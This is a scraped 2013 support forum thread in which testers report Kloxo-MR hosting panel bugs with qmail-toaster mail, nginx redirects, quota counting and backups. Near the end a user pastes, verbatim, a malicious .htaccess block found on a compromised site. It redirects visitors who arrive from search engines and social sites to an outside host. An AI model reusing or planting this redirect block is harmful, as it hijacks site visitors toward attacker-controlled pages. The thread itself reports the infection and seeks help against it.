/usr/local/lxlabs/kloxo/bin/misc/vpop.sh: line 23: /home/vpopmail/etc/vpopmail.mysql: No such file or directory
It's ok. It's because vpopmail-toaster not exist before execute vpop.sh. But, you can run 'sh /script/cleanup' or 'sh /usr/local/lxlabs/kloxo/bin/misc/vpop.sh' after update finished.

Quote
[root@nowosci /]# sh /usr/local/lxlabs/kloxo/bin/misc/vpop.sh
/usr/bin/mysql: option '-u' requires an argument
/usr/local/lxlabs/kloxo/bin/misc/vpop.sh: line 23: /home/vpopmail/etc/vpopmail.mysql: No such file or directory
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 19:02:56
Abandon above error but run 'sh /script/convert-to-qmailtoaster'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 19:39:49
Quote from: "MRatWork"
Abandon above error but run 'sh /script/convert-to-qmailtoaster'

And it's even worse:

Code: [Select]
Total download size: 6.9 M
Downloading Packages:
(1/15): autorespond-toaster-2.0.5-1.4.0.mr.el5.x86_64.rpm        |  15 kB     00:00
(2/15): qmail-pop3d-toaster-1.03-1.3.22.mr.el5.x86_64.rpm        |  34 kB     00:00
https://github.com/mustafaramadhan/kloxo/raw/rpms/release/centos5/x86_64/libsrs2-toaster-1.0.18-1.3.6.mr.el5.x86_64.rpm: [Errno 14] HTTP Error 404: Not Found
Trying other mirror.
(4/15): libdomainkeys-toaster-0.68-1.3.6.mr.el5.x86_64.rpm       |  45 kB     00:00
(5/15): simscan-toaster-1.4.0-1.4.0.mr.el5.x86_64.rpm            |  62 kB     00:00
(6/15): daemontools-toaster-0.76-1.3.6.mr.el5.x86_64.rpm         |  82 kB     00:00
(7/15): ripmime-toaster-1.4.0.6-1.3.6.mr.el5.x86_64.rpm          |  91 kB     00:00
(8/15): ucspi-tcp-toaster-0.88-1.3.9.mr.el5.x86_64.rpm           | 112 kB     00:00
(9/15): maildrop-toaster-2.0.3-1.3.8.mr.el5.x86_64.rpm           | 259 kB     00:00
(10/15): courier-authlib-toaster-0.59.2-1.3.10.mr.el5.x86_64.rpm | 307 kB     00:00
https://github.com/mustafaramadhan/kloxo/raw/rpms/release/centos5/x86_64/qmail-toaster-1.03-1.3.22.mr.el5.x86_64.rpm: [Errno 14] HTTP Error 404: Not Found
Trying other mirror.
(12/15): courier-imap-toaster-4.1.2-1.3.10.mr.el5.x86_64.rpm     | 829 kB     00:00
(13/15): ezmlm-toaster-0.53.324-1.3.7.mr.el5.x86_64.rpm          | 929 kB     00:00
(14/15): spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64.rpm      | 972 kB     00:00
(15/15): clamav-toaster-0.97.6-1.4.2.mr.el5.x86_64.rpm           | 2.6 MB     00:01


Error Downloading Packages:
  qmail-toaster-1.03-1.3.22.mr.el5.x86_64: failure: qmail-toaster-1.03-1.3.22.mr.el5.x86_64.rpm from kloxo-mr-release-version-arch: [Errno 256] No more mirrors to try.
  libsrs2-toaster-1.0.18-1.3.6.mr.el5.x86_64: failure: libsrs2-toaster-1.0.18-1.3.6.mr.el5.x86_64.rpm from kloxo-mr-release-version-arch: [Errno 256] No more mirrors to try.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 19:48:10
Something trouble with github. Maybe overload or else. And or your network.

In 5 minutes ago, I was update my testing server and no issue like yours.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 19:53:48
Quote from: "MRatWork"
Something trouble with github. Maybe overload or else. And or your network.

In 5 minutes ago, I was update my testing server and no issue like yours.

Reinstalled, added group vchkpw and user vpopmail to it.

Code: [Select]
[root@nowosci ~]# qmailctl stat
authlib: up (pid 2626) 214 seconds
clamd: up (pid 2634) 214 seconds
imap4: up (pid 2623) 214 seconds
imap4-ssl: up (pid 2632) 214 seconds
pop3: up (pid 2630) 214 seconds
pop3-ssl: up (pid 2624) 214 seconds
send: up (pid 10530) 0 seconds
smtp: up (pid 10268) 43 seconds
spamd: up (pid 2633) 214 seconds
submission: up (pid 2629) 214 seconds
authlib/log: up (pid 2620) 214 seconds
clamd/log: up (pid 2637) 214 seconds
imap4/log: up (pid 2635) 214 seconds
imap4-ssl/log: up (pid 2638) 214 seconds
pop3/log: up (pid 2625) 214 seconds
pop3-ssl/log: up (pid 2622) 214 seconds
send/log: up (pid 2636) 214 seconds
smtp/log: up (pid 2627) 214 seconds
spamd/log: up (pid 2631) 214 seconds
submission/log: up (pid 2639) 213 seconds

Send is down. It seems removing old Qmail packages removes vpopmail user group too. Then when installing new packages this user doesn't exist so it is using root account which is not properly configured that's why it doesn't work.

Solution might be to add group vchkpw and user vpopmail to the group before installing new packages !
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 20:03:16
Another found:

Code: [Select]
sh: /var/qmail/bin/update-simscan: No such file or directory
But this might be a warning

Send doesn't work because of this:

(http://dodajfotke.pl/images/128c9xis.jpg)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 20:12:53
Manual starting send gives this:

Code: [Select]
[root@nowosci send]# ./run
alert: cannot start: unable to switch to queue directory
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 20:34:07
Look inside 'convert-to-qmailtoaster' how they work. user vpopmail and vchkpw fail to create if /home/vpopmail dir exist.

And if convert succeed (that mean all qmail-lxcenter removed and all qmail-toaster already installed), still need reboot. Why?. Don't ask me but ask to qmailtoaster.com why need restart after qmail-toaster installed.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 21:25:56
Quote from: "MRatWork"
Look inside 'convert-to-qmailtoaster' how they work. user vpopmail and vchkpw fail to create if /home/vpopmail dir exist.

And if convert succeed (that mean all qmail-lxcenter removed and all qmail-toaster already installed), still need reboot. Why?. Don't ask me but ask to qmailtoaster.com why need restart after qmail-toaster installed.

I rebooted many times. It's probably because of supervise need to start it's services.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 21:57:46
Try this trick:

1. remove all contents of '/var/qmail/supervise'
2. run 'yum reinstall *-toaster'
3. check with 'qmailctl stat' (all services must be 'up' status; if not all as 'up' need reboot')
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-15, 22:43:52
Quote from: "MRatWork"
@djscooby,

That mean only www. not work?

If yes, I think Httpd and Lighttpd the same issue.

Better use 'server_name example.tk http://www.example.tk;' (http://www.example.tk;') instead "server_name '.example.tk';" because possible '.example.tk' equal to '*.example.tk'

@MRatWork

Tried also with httpd same issue... www.example.tk (http://www.example.tk) not working unless manual edit conf file..
If i use 'server_name' www.example.tk (http://www.example.tk) --> only www.example.tk (http://www.example.tk) / example.tk shows welcome to web server..
Only solution is to use (.)dot in server name..
Code: [Select]

## web for redirect 'example.tk'
server {
    listen *:80;

    server_name '.example.tk';

    if ($host != 'example.com') {
        rewrite ^/(.*) 'http://example.com/$1';
    }
}

Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 22:46:54
How about 'server_name example.tk www.example.tk;' (http://www.example.tk;'). Not work?
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-15, 22:55:40
Quote from: "MRatWork"
How about 'server_name example.tk http://www.example.tk;' (http://www.example.tk;'). Not work?

Sorry forgot to post about it..  ;)

Nop, it wont work.. Tried this
'server_name example.tk http://www.example.tk;' (http://www.example.tk;')
&
'server_name example.tk http://www.example.tk' (http://www.example.tk')
&
'server_name example.tkhttp://www.example.tk;' (http://tkhttp://www.example.tk;')
&
'server_name example.tkhttp://www.example.tk' (http://tkhttp://www.example.tk')

None is working.. if i use this then neither example.tk & http://www.example.tk (http://www.example.tk) works.. Only welcome to web server.. Also nginx gives me this error
Code: [Select]
nginx: [warn] server name "xxxxxxx.tk http://www.xxxxxxx.tk;" has suspicious symbols in /home/nginx/conf/domains/xxxxxxxxx.com.conf:44


KloxoMR Current Version:   6.5.0.c.2013021101
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-15, 23:00:22
Remember, without http:// on 'server_name example.tk www.example.tk;' (http://www.example.tk;') (this forum using phpbb automatically convert to http://.. (http://..). when found www... (http://www...).)
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-15, 23:15:27
Quote from: "MRatWork"
Remember, without http:// on 'server_name example.tk http://www.example.tk;' (http://www.example.tk;') (this forum using phpbb automatically convert to http://.. (http://..). when found http://www... (http://www...).)

Yes i know... ;)  no it doesnt work.. Both example.tk and www.example.tk (http://www.example.tk) says welcome to web server..
Tried this
Code: [Select]
server_name 'example.tk www.example.tk;';and also this :
Code: [Select]
server_name 'example.tk www.example.tk';
Still no luck sorry.. only with the (.)dot seems to work fine..
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-15, 23:20:07
Quote from: "MRatWork"
Try this trick:

1. remove all contents of '/var/qmail/supervise'
2. run 'yum reinstall *-toaster'
3. check with 'qmailctl stat' (all services must be 'up' status; if not all as 'up' need reboot')

Rebooted, all working but send is down:

Code: [Select]
authlib: up (pid 2641) 55 seconds
clamd: up (pid 2696) 54 seconds
imap4: up (pid 2681) 55 seconds
imap4-ssl: up (pid 2635) 55 seconds
pop3: up (pid 2693) 54 seconds
pop3-ssl: up (pid 2628) 55 seconds
send: up (pid 4606) 0 seconds
smtp: up (pid 2634) 55 seconds
spamd: up (pid 2691) 54 seconds
submission: up (pid 2630) 55 seconds
authlib/log: up (pid 2632) 55 seconds
clamd/log: up (pid 2698) 54 seconds
imap4/log: up (pid 2694) 54 seconds
imap4-ssl/log: up (pid 2647) 55 seconds
pop3/log: up (pid 2697) 54 seconds
pop3-ssl/log: up (pid 2633) 55 seconds
send/log: up (pid 2646) 55 seconds
smtp/log: up (pid 2631) 55 seconds
spamd/log: up (pid 2695) 54 seconds
submission/log: up (pid 2638) 55 seconds
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 01:05:17
I'm testing on a clean CentOS 5.9 64-bit install right now.

It seems switching from qmail-lxcenter to qmail-toaster will be really hard :/
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 01:15:26
Tested on Outlook 2003 and:

sending mail on port 25 failed - prompts for password
sending mail on port 587 failed - prompts for password
receving mail on port 110 ok
receving mail on port 143 ok

It failes with the same reason:

Code: [Select]
Feb 15 20:11:06 nowosci vpopmail[4965]: vchkpw-pop3: (PLAIN) login success admin@nowosci.org:62.21.xx.xx
Feb 15 20:13:45 nowosci vpopmail[4985]: vchkpw-smtp: vpopmail user not found admin@nowosci.org:62.21.xx.xx

Services works ok:

Code: [Select]
authlib: up (pid 4281) 591 seconds
clamd: up (pid 4311) 591 seconds
imap4: up (pid 4280) 591 seconds
imap4-ssl: up (pid 4307) 591 seconds
pop3: up (pid 4277) 591 seconds
pop3-ssl: up (pid 4273) 591 seconds
send: up (pid 4271) 591 seconds
smtp: up (pid 4276) 591 seconds
spamd: up (pid 4263) 591 seconds
submission: up (pid 4267) 591 seconds
authlib/log: up (pid 4275) 591 seconds
clamd/log: up (pid 4272) 591 seconds
imap4/log: up (pid 4269) 591 seconds
imap4-ssl/log: up (pid 4278) 591 seconds
pop3/log: up (pid 4266) 591 seconds
pop3-ssl/log: up (pid 4274) 591 seconds
send/log: up (pid 4268) 591 seconds
smtp/log: up (pid 4270) 591 seconds
spamd/log: up (pid 4264) 591 seconds
submission/log: up (pid 4282) 591 seconds
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 01:23:06
Also clamd is doing something all the time, each /etc/init.d/clamd start is adding another process !

Code: [Select]
4953 clamav    25   0  142m 116m 1224 R 95.8  0.4   0:07.88 /usr/sbin/clamd
 4958 clamav    25   0  125m 101m 1224 R 95.8  0.3   0:06.35 /usr/sbin/clamd
 4970 clamav    25   0 79668  55m 1136 R 95.8  0.2   0:03.10 /usr/sbin/clamd
 4975 clamav    25   0 79924  56m 1136 R 95.8  0.2   0:02.85 /usr/sbin/clamd
 4980 clamav    22   0 70956  47m 1136 R 95.8  0.1   0:02.52 /usr/sbin/clamd
 4950 clamav    25   0  149m 122m 1224 R 95.1  0.4   0:08.79 /usr/sbin/clamd
 4965 clamav    25   0 95392  70m 1224 R 95.1  0.2   0:03.53 /usr/sbin/clamd

Update: It ended after few minutes and working now in background:

Code: [Select]
[root@nowosci ~]# ps aux | grep clamd
root      4278  0.0  0.0   3680   368 ?        S    20:19   0:00 supervise clamd
qmaill    4287  0.0  0.0   3692   360 ?        S    20:19   0:00 /usr/bin/multilog t s1000000 n100 /var/log/qmail/clamd
clamav    4950 12.1  0.5 206196 168552 ?       Sl   20:22   0:12 /usr/sbin/clamd
root      5000  0.0  0.0  63260   884 pts/0    S+   20:23   0:00 grep clamd

I've tested different Qmail port that might work on dynamic IP's like 23 or 6666 and Kloxo isn't working at all on them:

Code: [Select]
[root@nowosci ~]# telnet localhost 23
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host: Connection refused
[root@nowosci ~]# telnet localhost 6666
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host: Connection refused
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 01:43:16
I changed all users from vpopmail to root and got sending on port 25 ok.

So we've got something working.

Sending on port 587 doesn't work. Prompts for password...

Forwarding works ok ;)
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-16, 01:43:50
After update to version 6.5.0.c.2013021503 again mails stoped working (SMTP) cant send again... (rouncube sends/receives fine)
similar problem as spacedust has with smtp.

Quote
**I had the same problem before on version 6.5.0.c.2013021101 -(it was after a clean install of kloxo wih qmail toaster from the begining on a clean vps, but cant remeber what i did and fixed it... sorry)

Now What works with mails :

-outlook (can receive mails but can't send with smtp)
error:
Code: [Select]
Feb 15 21:27:24 mail vpopmail[20139]: vchkpw-smtp: vpopmail user not found admin@xxxxxxxxxx.com:94.xx.xx.xx
-webmail (rouncude tested works fine send/receive fine)
-remote mail works
-mail redirects works

Other thing thats not working form previous version..
-backups (it just backups database only..)

I run as admin and as a client.. Backup doesnt work on both cases// It creates the backup and inside all files when you extract them are size smaller then 180bytes and contains this field when opened with notepad "lxblank_file"


Any suggestions are greatly welcomed :)

PS: domain redirection now works.. I saw you removed (' ') from server_name :)
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-16, 01:56:56
Also if it helps, after kloxomr update and of course run "sh /script/cleanup" and after reboot,  spamd and qmail process was high loading the server..
..problem was fixed after 'service qmail stop' 'useradd vpopmail' ' service qmail start'

(*i also had this issue on previous version.)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 02:07:27
Quote from: "djscooby"
Also if it helps, after kloxomr update and of course run "sh /script/cleanup" and after reboot,  spamd and qmail process was high loading the server..
..problem was fixed after 'service qmail stop' 'useradd vpopmail' ' service qmail start'

(*i also had this issue on previous version.)

+1 from me ;) Does port 587 work for you ?
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-16, 02:13:05
Hi everyone,

updated to latest kloxo build but when I try to do "home backup" the backup is only 44k... all empty
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-16, 02:32:52
Quote from: "Spacedust"
Quote from: "djscooby"
Also if it helps, after kloxomr update and of course run "sh /script/cleanup" and after reboot,  spamd and qmail process was high loading the server..
..problem was fixed after 'service qmail stop' 'useradd vpopmail' ' service qmail start'

(*i also had this issue on previous version.)

+1 from me ;) Does port 587 work for you ?

@spacedust
Nop, even if i added 587 port on adition smtp settings...:( and unfortunately i cant remember what i did last time to fix it..

BTW do backups work for you ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 02:37:48
Quote from: "djscooby"
Quote from: "Spacedust"
Quote from: "djscooby"
Also if it helps, after kloxomr update and of course run "sh /script/cleanup" and after reboot,  spamd and qmail process was high loading the server..
..problem was fixed after 'service qmail stop' 'useradd vpopmail' ' service qmail start'

(*i also had this issue on previous version.)

+1 from me ;) Does port 587 work for you ?

@spacedust
Nop, even if i added 587 port on adition smtp settings...:( and unfortunately i cant remember what i did last time to fix it..

BTW do backups work for you ?

I don't use backups via Kloxo, but probably they won't work too ;)

I'm backing up via tar + gzip + pigz directly to remote server in a different data center.
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-16, 05:13:57
New issue.. After switch web server php-fpm.d conf files are all deleted and need to manually run 'sh /script/fixweb' to rebuild them..

Current Version:   6.5.0.c.2013021503
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 05:19:52
Quote from: "djscooby"
New issue.. After switch web server php-fpm.d conf files are all deleted and need to manually run 'sh /script/fixweb' to rebuild them..

Current Version:   6.5.0.c.2013021503

That's not an issue. It must be this way ;)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 05:32:24
Another issue - I've set request_terminate_timeout for 300s but all my longer executing scripts are being killed after 30s. What should I change to increase this to at least 180s ?

The same happens directly on Apache port and nginxproxy port.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-16, 07:04:17
Quote from: "Spacedust"
Another issue - I've set request_terminate_timeout for 300s but all my longer executing scripts are being killed after 30s. What should I change to increase this to at least 180s ?

The same happens directly on Apache port and nginxproxy port.
Don't know for apache but nginx-proxy related to 'proxy_connect_timeout 180;',  'proxy_send_timeout 180; 'proxy_read_timeout 180;'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 16:49:04
Another issue - collecquota doesn't work at all and all user have 0 disk usage on their panels !!!

Quote
In client-admin addondomain_num equals 0 and limit is Unlimited
In client-admin domain_add_flag equals 0 and limit is on
In client-admin can_change_limit_flag equals 0 and limit is on
In client-admin can_set_disabled_flag equals 0 and limit is on
In client-admin can_change_password_flag equals 0 and limit is on
In client-admin document_root_flag equals 0 and limit is on
In client-admin runstats_flag equals 0 and limit is on
In client-admin ssl_flag equals 0 and limit is on
In client-admin logo_manage_flag equals 0 and limit is on
In client-admin awstats_flag equals 0 and limit is on
In client-admin installapp_flag equals 0 and limit is on
In client-admin cgi_flag equals 0 and limit is on
In client-admin php_flag equals 0 and limit is on
In client-admin cron_minute_flag equals 0 and limit is on
In client-admin cron_manage_flag equals 0 and limit is on
In client-admin backupschedule_flag equals 0 and limit is on
In client-admin backup_flag equals 0 and limit is on
In client-admin dns_manage_flag equals 0 and limit is on
In client-admin webhosting_flag equals 0 and limit is on
Dead Quota: In client-admin clientdisk_usage equals 0
Dead Quota: In client-admin traffic_last_usage equals 0
Dead Quota: In client-admin mysqldb_usage equals 0
Caught Execption
not_admin_cannot_modify_general
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-16, 18:00:58
Quote from: "Spacedust"
Another issue - collecquota doesn't work at all and all user have 0 disk usage on their panels !!!

Quote
In client-admin addondomain_num equals 0 and limit is Unlimited
In client-admin domain_add_flag equals 0 and limit is on
In client-admin can_change_limit_flag equals 0 and limit is on
In client-admin can_set_disabled_flag equals 0 and limit is on
In client-admin can_change_password_flag equals 0 and limit is on
In client-admin document_root_flag equals 0 and limit is on
In client-admin runstats_flag equals 0 and limit is on
In client-admin ssl_flag equals 0 and limit is on
In client-admin logo_manage_flag equals 0 and limit is on
In client-admin awstats_flag equals 0 and limit is on
In client-admin installapp_flag equals 0 and limit is on
In client-admin cgi_flag equals 0 and limit is on
In client-admin php_flag equals 0 and limit is on
In client-admin cron_minute_flag equals 0 and limit is on
In client-admin cron_manage_flag equals 0 and limit is on
In client-admin backupschedule_flag equals 0 and limit is on
In client-admin backup_flag equals 0 and limit is on
In client-admin dns_manage_flag equals 0 and limit is on
In client-admin webhosting_flag equals 0 and limit is on
Dead Quota: In client-admin clientdisk_usage equals 0
Dead Quota: In client-admin traffic_last_usage equals 0
Dead Quota: In client-admin mysqldb_usage equals 0
Caught Execption
not_admin_cannot_modify_general

In my servers (productions and testing) look like normal. Yes, backup with Kloxo Official not including log data.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 18:14:27
Quote from: "MRatWork"
In my servers (productions and testing) look like normal. Yes, backup with Kloxo Official not including log data.

How to fix this ? It was working ok on 6.1.12 and I use the same database.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 18:23:09
Just tested on a clean system. I've created one client and downloaded 64 MB file on his account.

Code: [Select]
[root@nowosci httpdocs]# du -sch /home/tester
65M     /home/tester
65M     razem

and it's not counted !!!

Code: [Select]
[root@nowosci /]# cd /usr/local/lxlabs/kloxo/httpdocs/
[root@nowosci httpdocs]# lphp.exe ../bin/collectquota.php
In mailaccount-admin@nowosci.org maildisk_usage equals 0 and limit is Unlimited
In mailaccount-postmaster@nowosci.org maildisk_usage equals 0 and limit is Unlimited
In mmail-nowosci.org maildisk_usage equals 0 and limit is -
In mmail-nowosci.org mailaccount_num equals 2 and limit is -
In mmail-nowosci.org mailinglist_num equals 0 and limit is -
In mmail-nowosci.org logo_manage_flag equals 0 and limit is on
Dead Quota: In domain-nowosci.org traffic_usage equals 0
Dead Quota: In domain-nowosci.org totaldisk_usage equals 0
Dead Quota: In domain-nowosci.org rubyfcgiprocess_num equals 0
Dead Quota: In domain-nowosci.org rubyrails_num equals 0
Dead Quota: In domain-nowosci.org maildisk_usage equals 0
Dead Quota: In domain-nowosci.org mailaccount_num equals 2
Dead Quota: In domain-nowosci.org mailinglist_num equals 0
Dead Quota: In domain-nowosci.org addondomain_num equals 0
In domain-nowosci.org ssl_flag equals 0 and limit is on
In domain-nowosci.org awstats_flag equals 0 and limit is on
In domain-nowosci.org cgi_flag equals 0 and limit is on
In domain-nowosci.org php_flag equals 0 and limit is on
Dead Quota: In domain-nowosci.org traffic_last_usage equals 0
In mailaccount-postmaster@tester.pl maildisk_usage equals 0 and limit is Unlimited
In mmail-tester.pl maildisk_usage equals 0 and limit is Unlimited
In mmail-tester.pl mailaccount_num equals 1 and limit is Unlimited
In mmail-tester.pl mailinglist_num equals 0 and limit is Unlimited
In mmail-tester.pl logo_manage_flag equals 0 and limit is on
Dead Quota: In domain-tester.pl traffic_usage equals 0
Dead Quota: In domain-tester.pl totaldisk_usage equals 0
Dead Quota: In domain-tester.pl rubyfcgiprocess_num equals 0
Dead Quota: In domain-tester.pl rubyrails_num equals 0
Dead Quota: In domain-tester.pl maildisk_usage equals 0
Dead Quota: In domain-tester.pl mailaccount_num equals 1
Dead Quota: In domain-tester.pl mailinglist_num equals 0
Dead Quota: In domain-tester.pl addondomain_num equals 0
In domain-tester.pl ssl_flag equals 0 and limit is on
In domain-tester.pl awstats_flag equals 0 and limit is on
In domain-tester.pl cgi_flag equals 0 and limit is on
In domain-tester.pl php_flag equals 0 and limit is on
Dead Quota: In domain-tester.pl traffic_last_usage equals 0
In lxbackup-client-tester backupschedule_flag equals 0 and limit is on
In client-tester maindomain_num equals 1 and limit is Unlimited
In client-tester subdomain_num equals 0 and limit is Unlimited
In client-tester traffic_usage equals 0 and limit is Unlimited
In client-tester totaldisk_usage equals 0 and limit is Unlimited
In client-tester rubyfcgiprocess_num equals 0 and limit is Unlimited
In client-tester ftpuser_num equals 1 and limit is Unlimited
In client-tester rubyrails_num equals 0 and limit is Unlimited
In client-tester maildisk_usage equals 0 and limit is Unlimited
In client-tester mailaccount_num equals 1 and limit is Unlimited
In client-tester mailinglist_num equals 0 and limit is Unlimited
In client-tester mysqldb_num equals 0 and limit is Unlimited
In client-tester addondomain_num equals 0 and limit is Unlimited
In client-tester domain_add_flag equals 0 and limit is on
In client-tester can_change_limit_flag equals 0 and limit is on
In client-tester can_set_disabled_flag equals 0 and limit is on
In client-tester can_change_password_flag equals 0 and limit is on
In client-tester document_root_flag equals 0 and limit is on
In client-tester runstats_flag equals 0 and limit is on
In client-tester ssl_flag equals 0 and limit is on
In client-tester logo_manage_flag equals 0 and limit is on
In client-tester awstats_flag equals 0 and limit is on
In client-tester installapp_flag equals 0 and limit is on
In client-tester cgi_flag equals 0 and limit is on
In client-tester php_flag equals 0 and limit is on
In client-tester cron_minute_flag equals 0 and limit is on
In client-tester cron_manage_flag equals 0 and limit is on
In client-tester backupschedule_flag equals 0 and limit is on
In client-tester backup_flag equals 0 and limit is on
In client-tester dns_manage_flag equals 0 and limit is on
In client-tester webhosting_flag equals 0 and limit is on
Dead Quota: In client-tester clientdisk_usage equals 0
Dead Quota: In client-tester traffic_last_usage equals 0
Dead Quota: In client-tester mysqldb_usage equals 0
In lxbackup-client-admin backupschedule_flag equals 0 and limit is on
In client-admin client_num equals 1 and limit is Unlimited
In client-admin maindomain_num equals 2 and limit is Unlimited
In client-admin subdomain_num equals 0 and limit is Unlimited
In client-admin traffic_usage equals 0 and limit is Unlimited
In client-admin totaldisk_usage equals 0 and limit is Unlimited
In client-admin rubyfcgiprocess_num equals 0 and limit is Unlimited
In client-admin ftpuser_num equals 2 and limit is Unlimited
In client-admin rubyrails_num equals 0 and limit is Unlimited
In client-admin maildisk_usage equals 0 and limit is Unlimited
In client-admin mailaccount_num equals 3 and limit is Unlimited
In client-admin mailinglist_num equals 0 and limit is Unlimited
In client-admin mysqldb_num equals 0 and limit is Unlimited
In client-admin addondomain_num equals 0 and limit is Unlimited
In client-admin domain_add_flag equals 0 and limit is On
In client-admin can_change_limit_flag equals 0 and limit is On
In client-admin can_set_disabled_flag equals 0 and limit is On
In client-admin can_change_password_flag equals 0 and limit is On
In client-admin document_root_flag equals 0 and limit is On
In client-admin runstats_flag equals 0 and limit is On
In client-admin ssl_flag equals 0 and limit is On
In client-admin logo_manage_flag equals 0 and limit is On
In client-admin awstats_flag equals 0 and limit is On
In client-admin installapp_flag equals 0 and limit is On
In client-admin cgi_flag equals 0 and limit is On
In client-admin php_flag equals 0 and limit is On
In client-admin cron_minute_flag equals 0 and limit is On
In client-admin cron_manage_flag equals 0 and limit is On
In client-admin backupschedule_flag equals 0 and limit is On
In client-admin backup_flag equals 0 and limit is On
In client-admin dns_manage_flag equals 0 and limit is On
In client-admin webhosting_flag equals 0 and limit is On
Dead Quota: In client-admin clientdisk_usage equals 0
Dead Quota: In client-admin traffic_last_usage equals 0
Dead Quota: In client-admin mysqldb_usage equals 0
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 18:28:46
Quote from: "MRatWork"
Caught Execption
not_admin_cannot_modify_general

This is realted somewhere to my /etc/my.cnf configuration. When changed to default /etc/my.cnf then it works ok, but anyway counting disk usage doesn't work at all...

Why do we use this idiotic du -sc instead of quota for /home. It will be much faster and realtime just like cPanel does it.

/var/lib/mysql can be left with du -sc as this is fast on in most cases it's on SSD or SAS drives.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 23:23:14
Mustafa one of my main company website .htaccess files was infected with <iframe> code. I now chattt +i it, but how to protect again such attacks ? I've checked FTP logs and there is no trace of any logging.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-16, 23:24:54
Look at rkhunter log in 'log manager'. Maybe you find something.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 23:25:20
Quote from: "MRatWork"
Look at rkhunter log in 'log manager'. Maybe you find something.

Code: [Select]
#336988#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru).(.*)
RewriteRule ^(.*)$ http://cerfust.nl/paprika/clik.php [R=301,L]
</IfModule>

#/336988#

###Start Kloxo PHP config Area
###Please Don't edit these comments or the content in between. kloxo uses this to recognize the lines it writes to the the file. If the above line is corrupted, it may fail to recognize them, leading to multiple lines.

Log is clean...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-16, 23:30:16
If only certain domain(s) infected, it's mean application (example: wordpress) have backdoor process (maybe from plugins).
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-16, 23:45:07
Quote from: "MRatWork"
If only certain domain(s) infected, it's mean application (example: wordpress) have backdoor process (maybe from plugins).

The problem is this domain is clear without any application.

I've also found that access and errror logs for each domain are not working !
Title: Re: Need Kloxo-MR Tester
